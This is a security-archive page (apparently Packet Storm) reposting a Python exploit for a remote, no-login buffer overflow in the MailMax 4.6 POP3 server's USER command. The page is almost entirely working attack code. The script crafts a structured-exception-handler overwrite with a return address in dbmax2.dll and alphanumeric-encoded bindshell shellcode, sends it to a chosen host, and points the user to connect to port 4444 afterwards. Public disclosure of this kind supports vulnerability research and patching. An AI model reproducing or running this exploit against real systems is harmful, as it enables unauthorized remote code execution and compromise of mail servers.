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MailMax 4.6 POP3 Buffer Overflow

🗓️ 30 Mar 2012 00:00:00Reported by localh0tType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

MailMax v4.6 POP3 Buffer Overflow Exploit, Remote No Login Neede

Code
`#!/usr/bin/python  
  
# MailMax <=v4.6 POP3 "USER" Remote Buffer Overflow Exploit (No Login Needed)  
# Newer version's not tested, maybe vulnerable too  
# A hard one this, the shellcode MUST be lowercase. Plus there are many opcode's that break  
# the payload and opcodes that gets changed, like "\xc3" gets converted to "\xe3", and "\xd3" gets converted to "\xf3"  
# written by localh0t  
# Date: 29/03/12  
# Contact: [email protected]  
# Follow: @mattdch  
# www.localh0t.com.ar  
# Tested on: Windows XP SP3 Spanish (No DEP)  
# Targets: Windows (All) (DEP Disabled)  
# Shellcode: Bindshell on port 4444 (Change as you wish) (Lowercase Only, use EBX as baseaddr)  
  
from socket import *  
import sys, struct, os, time  
  
if (len(sys.argv) < 3):  
print "\nMailMax <=v4.6 POP3 \"USER\" Remote Buffer Overflow Exploit (No Login Needed)"  
print "\n Usage: %s <host> <port> \n" %(sys.argv[0])  
sys.exit()  
  
print "\n[!] Connecting to %s ..." %(sys.argv[1])  
  
# connect to host  
sock = socket(AF_INET,SOCK_STREAM)  
sock.connect((sys.argv[1],int(sys.argv[2])))  
sock.recv(1024)  
time.sleep(5)  
  
buffer = "USER "  
buffer += "A" * 1439 # padding  
buffer += "\xEB\x06\x90\x90" # Short jmp (6 bytes)  
buffer += "\x86\xb3\x02\x10" # pop | pop | ret 1c , dbmax2.dll  
buffer += "\x90" * 8 # nops (just to be sure)  
  
# popad's, so esp => shellcode  
buffer += "\x61" * 145  
# nop's to align  
buffer += "\x90" * 11  
# and ebx,esp  
buffer += "\x21\xe3"  
# or ebx,esp  
buffer += "\x09\xe3"  
# at this point, ebx = esp. The shellcode is lowercase (with numbers), baseaddr = EBX  
buffer += ("j314d34djq34djk34d1431s11s7j314d34dj234dkms502ds5o0d35upj0204c40jxo2925k3fjeok95718gk20bn8434k6dmcoej2jc3b0164k82bn9455x3bl153l87g7143n3jgox41l81f31lgox5eog2dm8k5831d345f1kj9nb0491j0959ekx4c89557818332e7g828ko45xn94dn32dm2915kkgo385132e8g15mk34k2347koe0b2x0b3xlf3docn8kfj0428f591b3ck33530n0o16eo93191942kl53fnbn8o3jk1k907xjc085eo89k4b1f6dj145l4949k1338931e4bo3lkox415g2ko03e6c44943g83jg3169k02dm0nf382gn3n9j9l18433410k3cn29e70kk0e2cjcn94k91k1mxm9310839kf34mg0d0k846eoe8kmc7gj843nemkn1ld234323l9787f623f3f6199823kox0xok492890nclkn3895510j2je945982745c6c981e954g748enx7dlfl419k01914745b08og8ej03xkcj3540b4045k481jg834872lk3gm420jd241e5fkc4co8729948k0md98o27b625e893b6co54f426c3d9k8c7kn853905e48kf699d7f22oe6xn02gjx00jc188g58l4k5mf850e7e9479l8086bjd09lxnb70384d0e8elfoc938k3cm3j27cm335403b794f9b6el")  
  
buffer += "\x90" * 2000  
buffer += "\r\n"  
print "[!] Sending exploit..."  
sock.send(buffer)  
sock.close()  
print "[!] Exploit succeed. Now netcat %s on port 4444\n" %(sys.argv[1])  
sys.exit()  
  
  
`

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